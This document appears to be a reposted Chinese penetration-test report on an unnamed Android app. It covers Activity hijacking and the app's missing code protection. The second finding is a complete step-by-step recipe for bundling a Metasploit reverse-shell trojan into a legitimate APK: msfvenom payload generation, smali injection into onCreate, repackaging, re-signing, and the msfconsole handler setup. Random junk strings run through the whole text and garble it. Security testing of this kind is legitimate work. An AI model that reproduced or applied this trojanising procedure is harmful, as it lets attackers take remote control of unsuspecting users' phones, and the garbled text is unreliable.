原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

3 {* ]. a# o1 q3 f6 Y/ n e

. p8 `7 t( v+ l$ a) s4 k

9 S# E' t# |+ e5 J% O

" ~6 Z9 Z& k L ; f0 {) X, C3 O# \1 w

# n/ q+ g4 y' d$ F 4 D$ w, d+ @$ `3 |0 C 文档编号：                {) w& t5 U% e ]2 R

1 ^( b# H! {: i5 d

" g/ x R; g+ `3 |: q7 E   + Z8 e; @' M% ~2 k# f' u7 ~ - K9 p% d. A" A3 u# V. J

, N; S. F; z8 |

. E+ U5 C) D: o" H* k   ! i+ d& K5 ]% y. p

  6 R1 `" L7 Q" y0 k) X& R7 b

2 u! T' ~, ?9 B

2 e3 N0 ]; m- Z2 H3 J   7 o2 f& \( Y) K5 a% A7 y7 i$ `

2 h7 k! M* x/ Q3 N5 c0 d$ D/ N4 \( J5 F

  0 q. X# U" ^ D8 f4 H _ * W5 t; A/ Z" ^. H: B

# `8 m& i) h& Q( Q; K9 D" k& G

% w9 s% @) W7 h9 _1 U $ C4 I8 T, u+ g' l) d 某某某APP渗透测试 $ P& i& D8 g1 c6 \( n! }0 l0 S& S7 B

! b f4 o% I. G. f; D$ u

* @( Z; Y# N0 _( T, W4 a   : @4 b6 R+ c2 K- m6 j. f, n, J

, T) I& l# J/ z: M, D 0 x# r# ^& c7 U

  2 H4 N7 S) j ?9 i1 K4 z( \, f' L

" s6 P. g/ u# @' B+ f% }3 T

, z# v2 b1 c6 z; L- T( v . x8 D# p& b1 M/ v; R1 y: G+ S5 a   / c$ V1 p$ E( p9 X! p0 l: B9 P

% f& c; x& ?! _ Z9 w/ L* [

% F/ [% K _; o0 }+ k + Y/ _' c4 z: T( T' [" n   ; h r/ Q$ r6 F$ W0 s0 O

$ U8 z" w- w* |! f

+ E# _. d! c, f# `# { 技 术 报 告 7 ^+ ]' ^& \( ?' K, N+ u3 ~

3 j8 c2 u) y* \9 h

7 F* E# v, l1 o+ \- l( M  

2 Y: {7 L- U( p' T3 L2 Y% Z4 T, b

0 ^) p7 {; e( Z* W. d3 N * I9 z K# u: Y   1 h: m7 s* X0 p" d* v0 b6 @ 8 P2 h% V. s S& a0 \

+ ~% z* X8 ^3 ?( Y/ P8 W- u) a

4 @& q! `. T9 K/ B2 s/ M, w   5 k4 ?3 K; K% }' K

- u# Z" [4 J" s% Z

* P, B) r" w5 @: S$ f3 v6 C   ) i! R! r; {6 [$ k1 F8 _8 f( t& i' [7 s

w$ J9 W8 q0 K e

  # Y6 w' }) z* u# x$ s. |% }5 ?

8 w4 ~0 M" G+ N! t

 

9 e7 l. X" y7 b f- N+ f$ o I, S: f9 g& S' g: G3 U& H

& `3 ]) t+ W$ U e3 s% X% O  

: J! i7 v3 p3 p; y* |5 h

. G9 d, g& C9 {9 Q: K   8 l$ t* Y! G# b' @1 \+ H - E+ `9 I/ L# ~; M) D6 }

9 O; r3 ] M f0 p" i- V4 a

  2 _9 B( s5 o: L

$ `& D; R2 |- X) x

6 r0 y0 k3 c) M- l& q6 B 9 P7 S9 A# V% ]5 J   - t/ Y; S* G5 x 4 @2 B i4 @) N5 L. ^( V' g

' k: h5 E* J& Z 5 |% \* ]9 \6 h, o9 ^6 E1 }8 T& Q

" R( ^; y; J% `  

8 V; f) c1 a- Z$ e& @   ; o( N& n" U6 W+ u

: w1 D" H: Y& Z * x* ^; g _: x' V9 M$ v! N8 H

0 J& ^' C9 O0 Y) G+ D0 A+ [   5 X( N5 k- R( F. p- P2 E9 d, ?4 B& B) S

' I. }! O' k* _+ Y6 r

5 @) ^) ^: p" w9 J9 L ) M o3 Z0 D0 ?9 f3 a, y: Q: b0 j   2 J7 b! ]: p7 u3 z5 n8 u' _: d ' }6 r$ s! y, ?; H2 W- q, M

4 _' ]6 @- Q# b' E5 Z8 @9 z - T1 @" B% P# v

; f$ P4 ]0 @. F/ M; s- N S& g% ]& Z+ W & O6 ]( [1 j- B) U9 ^9 {: w   1 k }8 l* f" x$ v- t# k$ ]; N4 ]. j6 e 2 t- @: M. i, B( j: \# E' |

/ R# l4 T+ N7 \$ \4 H+ t

. b0 z# U( T7 x" j" S4 ?4 M& f% R   # @* j* P0 v; X " n0 K9 ~* y& P

7 F7 ^% y# e* c/ {

+ Z$ _- u# c$ A9 {' m , e5 H' U1 n3 Z K% [+ O   4 ^& i; ?+ {7 M9 g) @% I# B

8 q+ |3 W. y, D/ r% A. j$ O

; X, \/ z; A5 O) N; o   % h6 V8 C1 L: k9 F1 x ' x+ {, J" F2 J% u {4 H

7 f+ z$ H3 c( h, d0 G

& M$ m0 S$ {% C3 {) o 二〇二〇年 4 \1 U$ X& X/ X! K" k Q

" H2 H- k% {( \5 W

- Q+ s$ i3 _5 K* R* q . X: b9 I2 I4 J- m4 a# [+ v# l
o- w1 N* M8 o6 O+ h, y }3 b( V - ~2 j0 \! E& I. k0 t- _$ s; d2 l! M

/ ^/ r' @2 x0 X% D+ q ! @& _% b G( E3 {

: H' B* G$ s$ N/ F# Q4 P( O. y0 H 2 Y: D w) o) `* ^; S
. ], y& {1 M' A3 t; d# Z * X, w. k4 I& a+ s e( e% C: ~

! s* i! J: B' {" `, ~ 3 @, ?" B; v# ]% u# K' |8 C& M

8 o% D1 l. X" ? 3 C- [' M1 C1 O6 ` 目 录

2 ?! n; R* Q7 [, ?: L1 E7 e

  2 H9 g( V# k5 S9 ?

( S) a1 s5 i4 M/ A . H. l9 ^: I' r/ \, v4 p6 L" g7 m# _

3 A! z" `2 v% z+ t 6 |/ X6 v- M+ O/ r; _( v. Z 1 概述... 3 * ?0 t: u4 k) O 7 ~5 j$ o6 P+ d7 C

& B& w8 D* O" K. H; F

, N& l; @0 u2 y% l$ z1 P) N 1.2测试时间... 3 6 x5 O! ^) T( r( C) Q! B ( g5 v, A& g* A- ^

0 A$ \. P' _& c" p5 b! X `+ F, o

9 U& r8 h j6 x4 R5 e3 Y/ C8 r 1.3测试对象... 3

6 i0 S' {5 b- U/ l, w , S6 o# T8 N E4 h* M* w6 q Z

/ u, E) E6 _: R! s! d' L & y, D2 W6 s, p4 V' I 1.4测试结果... 3

+ Z5 h1 j, L/ k% v; X6 v6 B

% A/ s" u( o# J, ~5 P2 R) L 1 [- E5 x% Y3 j( U [9 a 2 检测结果... 4 * w! s, }- v" b+ o G0 A 8 u' o+ y! P* e$ y

: U3 n+ B% i; h/ V

2.1 某某某... 4 4 @( X* q0 _+ ?4 M* @& ] ( \/ Q% x( N/ b; @: J

7 G( e! K( i4 y: Q% c1 E i, {, v

6 m5 d1 [. c; [! V. c 2.1.1检测目标... 4 , X. P0 C" B& J i+ V

5 `# ]2 |$ s5 x- a( e' Z, y( U u- X$ a2 u K' ~9 ]" W) ?

# y1 S7 h; T7 D t 2.1.2检测结果... 4

; ~1 _' H7 M0 A) R Q7 C

2.1.2.1. 4 / S Y+ x4 g2 ^) ]

. {$ ?% ^: N) Z+ g5 O

* x& ?8 C, L) O8 b* i l# V 2.1.2.2. 6

# l6 j+ ?( c% f+ G

4 ^& x/ F6 b! }7 f$ [# \ 2 K. ~& y; H% d8 {7 E 8 |1 g. t; ] O+ r8 A i# e

! Y* |8 S- k' e % |6 h3 b1 R$ B - @1 G. ]7 ?7 @: Q1 w2 v

! Z! N6 b" M4 ?( ?7 l
6 m( _* C0 O5 i, E

+ J; i. R9 n6 R- Q. X 1 概述 3 c9 x! x& t& |8 w/ d/ ]

( d( ?$ z' ]1 ^) h6 n! j! a

1.2测试时间 + }# a; G4 S r3 L2 f! C1 e9 c$ h ( }8 a, C' L, |2 o W! E# S6 v) Q9 E

/ c4 I5 N* w l2 v & ]7 y+ O# r3 G9 G8 a; S, p( a1 A* I2 A' C2 O' q( }8 I! a& W" S4 ^ c/ t" h. U) p" m+ u! |5 t9 q7 [5 V; f3 B# f& G8 K) O; r% I- g$ r$ o) u0 ]2 ~- ~9 i* h% P4 N' z* ?+ o% ^/ r9 b! U# o8 n% Q; S; t& e' G: {8 v0 x* U2 G" D9 {5 m* ~! y1 M; O' ~2 u& M1 A9 n7 _5 d1 T ^' u% B/ J7 R/ p, `6 Q

. d, {0 r' d4 z" O 渗透测试时间 8 O9 i* a9 p% l8 _ K5 u) M 0 ~. }3 w# ^. Z! ~4 i3 I8 @
M5 h: H1 h% A' J # |% `: ~; ~. I" o# L* q, | 起始时间 / o9 V! _- t! ~3 x* ?+ ]* S 2 }- z0 H! M/ k; p 8 N6 n/ l" c+ @/ I9 M% Y	2020年4月6日 ! ?7 u. ^! Z% Q' `6 P7 v* g . G W$ j3 O/ A1 q* L
# n t& e1 f5 ]- T / c) B# g) L' ^1 N- H! D 结束时间 3 D% p: A5 K2 ^. h, {# t, Z6 ~	8 Q- N) Z, K- X6 v% M" S # n/ h/ z3 S; e `) {! U. g5 ` 2020年4月9日 k( l" V6 z; a( v2 U B2 s. i) s 9 ]3 Y1 ^% g4 C$ R . x9 U7 Z, x6 i3 B) J

: M o( n5 l" |, v

% U9 x" O# X! i0 b1 |2 o3 g1 h% C G, C) G) V1 o1 K0 s# { 1.3测试对象 , D+ H g/ z; q! v9 d, X6 v 1 U. ]3 h$ D/ ^# z

7 @. T. D3 N- W" l

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： $ J$ }4 l q1 a& r

* X- j# @$ n2 M8 o( C) r 表1-1 检测对象

, n! Q! C3 i. Y! t/ j% X 4 v4 d, l j+ A0 R! |* R7 U, `- \& A9 i9 X) c2 i3 K$ `( ^ Y3 s/ n+ l3 {: F2 R# G# i+ o* u4 E! j" Y5 b% a! g% E; r o6 K$ ^# u5 E3 N" L; i9 y# m% D' R5 j5 P4 B% s9 E; P Z7 |9 d8 Q2 b$ [: {8 ]% u+ }' h( Z9 P& [! |: d' t* s; y2 \) ?

序号 7 q/ B4 J% R: w	+ X# A$ n* A ^ ) N7 Z" J9 q+ y" r% O 测试对象	. C4 ^+ B' d- O% u; Q ! n, y5 ?, \( J$ m! {8 \ 测试地址 2 t% n8 X$ l$ _1 q( R( r ! x0 B( e2 ^ V a$ t	8 l6 u! T: f9 Q ' V, |- l+ K* M- O& } 安全漏洞 , G8 V4 G- x& [6 O ) w$ ]. c) W4 L
0 z3 a9 y0 l1 [6 |1 \! b4 G. k( r 7 Y' a/ _9 Q& Q/ g- K( f 5 s) U& R" Y1 J! ?" i: O 1 & @ e7 y0 D$ k& \1 x/ @0 g	5 H' ~0 s6 v3 @ 9 B# l! u, `/ ]. a 5 X2 u% \+ w2 \9 n 某某某安卓APP 5 K1 M4 }1 V9 k	% | l4 y. S) r D f 8 @4 n$ Z- g6 O, I" j% j % j8 u8 g, R% z   ! m7 Y( P8 H0 i- |5 x) I$ z8 m, i $ F' u' W9 y8 {4 }" j; ^ , k; J w! s/ n' o7 K	; ~. D. d- V$ I3 k & Q: o& r: Z' L9 m0 `" x$ a* b 2 0 b# z. L) f8 S$ |% j$ a: V$ S6 C , i$ T2 f$ {8 g

1 G0 \9 n0 ]( g2 [: j/ h

' `5 m8 f u$ S2 ?: } ' F" v9 f( k. e* ^ 1.4测试结果 2 `" [( e( V/ R1 q% T" D

# M8 A: k, S0 {( o) i j : D8 r1 p- J1 i9 X) ^( b3 I

" ^# X: M& e" |$ X9 o ' N- z* b: ]0 T6 K ` 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： % E# X4 Y: M7 i4 T) @1 i. Y8 m5 \/ d 5 {0 \' K9 g7 W2 b* ^8 Q

# @/ k+ W* T Q

  & n. ?% i: o: Z8 j* Z* `

: X. L& Q* O' J( Y! m$ S$ P; g( t

0 \; _ {4 L) N% [" y " c% I# t1 j5 v$ Z3 r7 q3 `& u# [' ~8 _& y# ?) l0 I1 G( H2 t, g4 V- b, t* c+ v6 s9 T m! H5 d3 e/ `- {5 r) @5 U; Z+ n$ j) }3 o: C9 ?" G) K' [0 I) K9 u0 B4 Z; p6 G; _3 D' s2 ^- n- q# T3 o5 Y: Y1 w8 I3 @; ]; U! j4 i0 M/ [2 U, i0 B8 r5 ?; ?% T2 [* a! X3 E- A6 u g# K3 c, |+ g8 u; i* {, x2 I O! h' w$ C0 r/ R; ~" x% Y @" H) m' c3 y$ z7 y+ Z$ t2 o# U, e6 e* Z. y# {# O t6 s2 p" x: B2 Q4 D% m0 t5 j' e8 }1 o# R" J, o. P* H; @/ c+ ?6 D3 D& w! a' o$ C; c# g4 ^+ ^3 Z m' C: A0 j' \. u0 x5 a* R& ^, w, K8 x5 C0 q3 z, e# d' k1 E9 c+ r: z" ~: L+ T6 J# O2 b& z7 d1 g0 P- C; u/ p; f6 z5 h6 U; o, h% w1 d8 ?" B: g. |4 e8 w- V3 C/ Y$ K# ]& A( \ `/ E: p+ P, \/ v& Q5 E0 F1 V# X, p9 Q3 `* g% G: p; {8 S- d& l( I. p* U+ f9 J9 a# ~; i. i& C# Q- c) u3 H. N& x/ J3 `! Q5 [& A* K5 x" z5 p# v2 z) f# N2 ]9 R5 S% P1 r, W A! J

1 s$ J( v. I7 ?: H) S, o ' _+ W: |9 Z$ r; ]" G2 E 序号 ; M( r" ]; [6 e( z	5 k4 N& c) [2 v$ ^/ B 系统名称 , a0 `# n' Z) {" f& O3 |" z	3 K' K; A* K! x( G % e5 O! i+ ` t& Y- Q 漏洞名称 % a* \* s. ?* {3 Q6 ?' M ' }+ R5 d$ d2 _7 n	, g8 b4 h) O3 g# o . Q7 H" Z: U6 a2 z5 ] [ ! H. V* h. _* T 漏洞危害 $ b7 d" p, `& u & Z2 s0 P( g- p( n5 W3 S% |	3 ^7 n) S* J0 B/ ^- l 2 |, ^! U, b6 Z 8 v9 W$ A' H1 h4 A 修复结果 ( L `& \4 ?* I! S ' R7 L- D+ t4 N& e f% y2 o
! u V" o4 Y& f* c4 y t3 a+ V5 J6 G' v, a - ?. f) m' r/ A+ V 1 # n7 w* r. t* C; A" L	9 ~7 o# t0 e3 X2 S/ g: o. ? 某某某某某某APP 5 a, M# U. ^# k4 O3 K) K ; c/ |% m7 S1 c. J, [* q n6 Z& T . Y7 O% g9 N8 Z- d4 ~	Activity 劫持 ( K5 ?" [( R+ F( | 1 }- m9 ]; X. X3 T' ^ . }3 t/ l' E( M' K: {2 \ + G* s4 m1 n* D5 F	7 R, I6 G9 W4 N0 W& ?6 R. x5 s ; [0 D& M0 ~4 c! R: {8 j* h 高 ) H3 `7 P, x: U! A' z ; u3 e0 s+ ~; }7 t& G+ ]& R " G: X0 T" x3 f	7 z: F3 n4 I' l9 f   & S5 f* C$ L) ~" J 7 ?# j7 B" x2 w: a
5 E8 O! r5 O, e6 X; d3 H3 I 8 r5 j3 e* z! K1 V d $ t7 V7 ]6 Q) T7 g$ I+ }6 S 2 3 H0 ~% w% d0 \" _5 x2 K1 v8 y 6 w& W3 r8 G+ T3 I9 @5 T ! | J1 E4 d* I* T7 T	% o6 L2 a& O. N- F _$ n. @ 某某某某某某APP * j& K; {* R# x) H! r2 H	& h3 i4 o/ ]8 G8 O6 j ! L4 n9 f. Q# F# {. U* V3 b# E8 \ 反编译二次打包捆绑木马、篡改APP代码 ( ]1 j$ q. G# ]# n @ 3 r) l1 ^! Z6 F+ [9 w% r3 R8 ~	& ?3 l" E/ k: }$ \5 \+ C/ C- R 高 9 C1 ]: t- f+ ` ( o* e! I2 W) v; z9 y Z	4 V, `6 L0 W$ W2 d   * e/ m' D8 X- q F- y) } ! C0 Q0 e' Z% ]

' Q7 t1 ^, V4 p! x. v

. f6 R: E3 P8 B3 h # {8 \4 {9 s- n' k. e

# a! |5 i% y' |8 I+ y  

% {; k0 T8 B# A8 l

2 W% H. e! u7 p' A# M 8 p' d8 |, R' _0 `! w& s 表1-2 测试结果 / ^. i4 F8 v% l

: t' Y9 ~! L' |% E) j  

; K: K) f6 T+ ?3 F

$ t' w) H z$ s3 q7 [' Y0 G: u 5 m9 Z% q1 h5 f* |: n: t/ z 2 检测结果                    % s( ]# Q6 G/ G+ L- O

: b. }" L: @" z2 n

R0 S8 U! P! P9 R2 z) Z8 Y5 \" T 2.1 某某某 " a# b2 ] r- Y2 N2 _

9 O7 I [; Z9 \' R* R) D

2 w/ Y( [1 H @- R' V8 |, s* a- h/ a 2.1.1检测目标 - h- J) s$ d, M' A6 H

2 X0 X) V2 @2 ~) ~* l" ^6 l 9 f+ `8 K0 ^8 b

: f; n8 `, [1 n$ t0 } 目标地址： 某某某某某某APP ' w! K* Y5 J" I ) x0 \4 A/ t/ B, [0 N

% J7 d+ ^5 r% N% p" J9 P, }4 f3 u

% o: K3 r6 f% J% o* W 3 e+ p# R) g+ |' t" g 2.1.2检测结果 8 p8 R o' F/ J N9 h

4 s$ c: ?0 f( h; a. J

3 Y$ u3 K2 z5 M 7 t) ~( A0 J% [+ r. Z- ]+ u& M 2.1.2.1 4 A8 j# [, _/ [8 k. r; h: q3 q

/ E) @5 u8 ?9 ~1 ?

' ]6 r ?) ]/ k* g, J ! e5 B6 M: m. y" m0 O2 G! ? 漏洞链接地址：某某某某某某APP ( P# V8 s7 L" i" M) X# ^3 U ) m5 V* D n1 e* x8 _

4 V4 P' C' ^. f$ p% ?' Z) C

  2 n% W/ r6 K3 q# u Z

3 D z' P( r7 W. I6 B

, i" N$ P( R6 e( F+ Y+ ~* a+ f5 U 漏洞分析及取证： 4 E( _2 Q: J- r, S2 U" d* }& x g# d/ x9 d& ?/ b6 x

0 j4 d/ t3 K# c% \! }) b3 e

/ i6 W/ d3 I, ^) l                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： ' j S( M+ l$ @; M2 H8 |4 r9 w

8 e0 C0 `4 @3 Q

" W" A) _0 H3 x' [: X      - E9 t/ j$ P0 ^8 V& D

, Z( j9 _" }5 ^# N ' s; j( m4 D/ G/ q# \/ O                      

4 e* n7 z3 e- Z3 d' \ 8 s3 L2 \1 ?) `5 h* D/ b+ k6 D

/ q1 {/ B) a6 t/ m 1 N/ w+ p& m r8 l0 l7 Y 2 I+ Z. X/ ^" f: {- q% I- u+ p

) ^/ L1 v/ f+ @9 S- @

9 I3 h$ h9 f$ T' x

' h! ]$ n4 Y( r3 X g

# Q$ b; u) I+ l) O * G! U$ A, N$ V4 k

' A1 B5 \8 _8 u8 k

5 S" K9 O2 J! K1 f5 p 漏洞危害：高

6 d& f1 q! k$ c+ v3 c6 D4 J' p3 h, O2 Z$ A9 ~7 z( q5 I( R! _/ q# j) G+ Z: J! n6 H i2 q* x& \, }- |* x& x& s E. M/ K; N. ]- D1 I( v# j: S$ \1 h( a0 j& z- c4 [7 A* \: i+ _& H& Y' f- U$ o. G% I+ G: ]" h' V& p/ |5 b$ q1 i' B) O- [* s) [; b# }! Y9 _, ~, r: N: M1 U8 H/ ^8 g, w8 J/ G% c" G+ m, D/ S$ E$ u/ e8 S, _! E: Y/ h/ ]$ {& M. ]3 U8 g6 @2 D" x1 T8 L2 @

9 E X( L. O7 s) v( E 1 m N- x. d5 {7 l. L! P 严重程度	1 l- p* d6 @( i1 k: u+ }% U4 g# B , X9 i9 Q! H( r/ I4 h9 K0 Q9 l! R) J 高 + l0 ^! `2 H8 T) j! x5 R 6 V7 B9 W0 D' I+ M; c ' x. v! }. E. a7 c2 Q6 R" R6 v	. C$ }9 R5 {. R; y; `% d3 \* B 4 S" W+ q" C. y) V6 U9 n6 Y ■ 1 V6 l6 V. g7 N. {: C2 h/ j : W1 @& r" X+ { 9 F' R! X' ?9 v T8 g: ^ / _+ q7 g$ r- G! S1 {	8 @2 \' [7 w! o1 F8 ~! `( p3 X 中 0 @; A" a" K5 r" M. g* m! X	$ W2 K: T6 s# v2 O9 q4 @, g) T 4 g# ?. Z1 E- A( J. l' v   8 W V3 ` }+ L4 a) ?	' ?) O( m5 y* K) r5 f/ e% C " p4 d' A0 A1 T 5 H$ V6 N# t% H9 [; Z4 O 7 ~6 `! c; A4 e9 v 低 1 p) E8 A1 a: f ( p1 b$ J5 b2 Y9 Z* H# E + k) u! s" r, i	( C/ u' O" q g3 O$ l * T& @6 U* `3 i+ B" t* _# [7 B   % J: c! x Z2 k- C, \5 x4 K# d a; O/ Q3 [% u5 x % z7 F! _' k4 L {

/ q# X' ^8 |+ {( [! N 1 t! Y0 R: K0 M) L# y# Y

: j+ d8 ^ o/ o   h& q# j1 V5 |7 `% k

+ o4 d! ~3 A8 V7 k& \& P8 p& x$ N

8 r: v2 g0 M- p {) ~ 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 7 u/ G3 z N6 i1 w

5 m( z) |8 f! ?; j" |6 j, g, p           / J# A, _5 K; v7 m: D

* s# Z+ l9 u$ L

( l' _9 f. C& y: } + R/ s$ B" x9 B5 d) f6 b, R) w3 K   0 V l6 u! y; r& [, ], l$ m3 L# |! N# E

! b) E6 j, Q9 h* c

: `# Z: I- j. H3 i6 ~- o 2.1.2.2 $ u2 F1 M6 [, m9 x) f& @) S ^0 f

4 g$ c i; ^& V9 I5 n" l

漏洞链接地址：某某某某某某APP 9 _& H" k: n* j5 G! z- X

+ Z4 E2 |8 `+ K. q# P8 G . g2 b0 l9 g! q! N( l* s

漏洞分析及取证： - l7 [; x' G9 k5 K/ r ; _+ u8 w7 B# R5 H

% _ B2 D1 n! _5 B

- M* h. W- y1 K% e: f 9 t t$ s* g- M5 U                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 3 j4 c4 R# P: d* H , @' ~, V; _+ _4 y t

7 S ^4 R' g" B1 }3 J* h) }& d. ` 用Metasploit 生成木马 apk % z7 g% A j, x8 z! y! _) p. h2 b: V

3 w! _1 {' V- o: O! y4 w

! L- {9 E( J" |$ T/ p! V1 v4 R msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk & x) a3 [; P4 N) O9 h

. t! C+ ^/ ?6 R) w$ \' _) }

& E. L8 m& N* G! q9 [9 F & h; ~ x5 `- U) f 反编译目标apk和木马apk

. f2 }. _# U1 N

/ z2 u3 l( t+ S7 U. h: r& |7 h apktool d target.apk
1 N, u, O( K% T: ~ apktool d cockhorse.apk % R+ \1 M; {& C/ }' y7 u. Q7 z4 B

7 T" N! a/ j9 `; q6 @2 \' _$ n8 E! F

2 A1 v: S' P1 Y4 t 7 k8 N; t+ |: F# u& ^( @& j, M: p 木马 apk 注入目标 apk * Q- @( u. ?7 g+ [. L, S+ n. u

/ ^, s& Z+ f3 h) N: O

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
. I* }( w& P9 i5 G, k0 Z $ c4 o6 I$ T3 L( u& G [ invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V % k9 r/ [% c& h8 T8 }

1 r9 O' _6 `4 v/ v! ~# W 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 7 g+ `3 T0 Q5 v, {1 r

) Y7 o \4 X% [! R 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 6 U, w( S0 L$ B7 k# I 7 b- c9 p. _! l

! w" g% {& B( p: k! a5 i $ ?# ~/ }: E+ T' Y* b6 V2 u

4 I( {9 D' o! y, l , Z4 B# d7 ~5 C6 n 回编译生成最终 apk 1 B$ D' o6 ?' ]

重新打包 % l% W6 x7 P7 }+ F$ `+ g+ H! u

' q% n7 N1 V6 O6 R5 {# B

7 ]: {, y! ^. L, n- W- r: h, l: Z apktool b -o repackage.apk target_app_floder L. h0 f' o+ `* L . }5 ^) ?& B; ~6 N3 g& Q

, x; m& ~. K' k5 [ 创建签名文件，有的话可忽略此步骤 1 t7 s, Y/ e: g; T% L0 V1 t! v

2 K4 `" I/ ?6 u- y: F$ N

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                # j5 V0 m, [' i% ]6 B/ {5 _

" B- }( D5 ^7 W/ l7 \ 签名，以下任选其一

jarsigner 方式 3 t. M1 d2 E! S$ |, J" F, ] : G, a. O/ i- a# v2 _

3 L5 |% @6 O& I& T; Y2 T" j

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 2 P8 U! I( M* }' F- V

& @& f; B8 o# X* p% I& Q

apksigner 方式 4 U4 R# \0 H1 H. ]' T2 }6 i

+ J# w E7 g' V- V

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

: ]5 J* U* `+ q. e; L) y. S9 y) D

1 z, ^ g X3 z/ M' ~' ], `0 p" f 如需要禁用 v2签名 添加选项--v2-signing-enabled false

9 ^; n0 W& S! x 3 a* {" R% b/ y7 @

9 P- C& T. |, }/ o1 `3 ]% c 验证，以下任选其一 L- X8 f7 A0 R& m

% T$ M5 N& \& F5 O3 q; F

3 f$ g3 V$ x; d2 V7 M l4 \3 M 6 p" k0 }& `% B* } jarsigner方式 $ t$ V7 i' p0 U1 v# V( Q & O/ u8 u# h+ j: s, ~

) G L/ w3 p2 |2 I! p5 c & S& B. I+ s$ h% J& P* c& [

9 C" Z( P8 X8 Y4 q jarsigner -verify repackaged.apk ! b# x/ M! A j4 D' P( l8 r J

3 t' H* m0 j8 o4 o

6 R( G7 t; M3 Z! X! o! k # L4 @6 F M$ J3 I0 o$ I3 U v apksigner 方式

2 J. p% N. h' Q % O: c& Y$ \. K$ I! @

) Q2 `# F' g; \2 [9 O6 e apksigner verify -v --print-certs repackaged.apk

T3 j A+ X5 |) {0 e 9 [- W6 z4 \' o% D; B: k# G: ~

* h4 z* A8 H. m1 u( E# G7 c keytool方式

keytool -printcert -jarfile repackaged.apk

# l; D5 P- b- }9 L8 }; r ^ 4 p0 z( _2 C; ]5 m8 z

- U v- Q7 a8 X- i2 Y6 C0 J 对齐 2 ? F: _$ h. _9 B ^. y % g( Y. v2 H, W7 h

/ h( D$ ^. U4 d

( a: w) ^+ W* J5 I# V 字节对齐优化 4 @. C/ ^& O2 \

4 L2 H8 S$ e4 I7 R

5 ^4 N- \* @* q2 x! } zipalign -v 4 repackaged.apk final.apk - O1 e0 @! o3 _0 q " g" Z% k5 q% d, Z' i2 o7 `! I0 K

9 X% C5 u( o3 ~2 z9 ~# d, d: K9 H

6 h# q% X1 p1 y' }3 O 检查是否对齐 ' |7 q# R1 |+ ^

/ u8 f# S& ?+ S7 \! | ( m4 A5 |0 N2 Q H

" y8 u" g _4 v* Q! x# s ( W' Y/ ^) ?$ j u: j zipalign -c -v 4 final.apk 7 m# m7 e' S, e7 I ( M+ A1 o( c$ I/ d2 l: Q% y! M

5 Z6 q" k; l; A

# p/ q4 i# x8 n9 Q" |3 |& { 9 r1 u( t# w: E. | 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 X, U3 _: c9 F( i 2 @' c& G+ ]/ I; l0 _2 n" `

8 P2 ~* y# q+ Q e% K $ b( w/ p- R. _$ z9 ?5 n) ^

启动Metasploit控制台，配置参数等待上线 : j" T _. h1 U- J! m) K 1 j4 W2 A& h a) T8 t

4 o* P5 \7 l3 r; P$ v/ S6 m * \: P3 p6 e- L. m8 A0 p

在终端依次输入如下命令 W5 L' K- q# d e8 \4 C3 z9 e

# B; v( n1 a' |$ C% \, k

msfconsole & \5 C" w V H) A; ?) _

" n0 d D {1 r; g0 Y! S ) V! n; V, ^0 T! m7 _ use exploit/multi/handler . G- }( t! y! F) }, L w( u' R+ e

3 x. J) a* \: ?& K7 E' M- {

7 R. @$ n* |5 ?) D- o. N ?: S/ | set PAYLOAD android/meterpreter/reverse_tcp - k9 n1 N- Y* m% {+ y* G5 N% G : g' J7 M/ t+ i

6 t7 q5 Z4 A. w V# H6 Q

3 {8 Q# W8 U9 ? set LHOST 192.xxx.xx.xx 5 i( K" n0 `- R* s8 ?

/ x# o1 k4 @9 J$ b' N+ [5 r/ ` 1 a& o+ y8 H& F+ X6 R$ ` P set LPORT 4444 ; G* ^0 U8 {, r# i / l& I% O4 S C2 M; f" U, x

5 L. h; y3 {) ~6 E$ c

0 R# E# C4 C1 X) p exploit . F5 S: Q- f, I3 u4 c F 7 g% x* z1 M5 }$ a0 J

3 z; x( F( X" o

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               : ?6 v( e8 F F# {

( H0 _; b( h$ s+ j* E$ L$ t

漏洞危害：中

5 y/ Q! B- ~: C* q + z3 Y! z1 e4 G5 ]; r1 ^' T( i+ U

: M3 U' d0 a, @ % Y2 P' z. {& r, V " D1 j0 e# K$ c8 C3 X- }' C' R7 `# H. R- A! p3 M7 H Q* I! X/ ?) a$ K, I7 K! b+ G& l0 D# t: V' K4 _3 p$ o7 a/ \8 K: y1 H4 `$ }7 U( G, ]( f0 T, G$ ?: d1 o3 ~9 h8 m/ D) s2 k) U/ F3 Z0 V5 |' D- o$ d$ R' }/ ^. _- ?! r& R. a3 M0 N; D3 i# m! c3 O+ d% Y0 s! e" q1 F q5 f+ _' r7 C n( A. i! Y, w: I$ J6 G

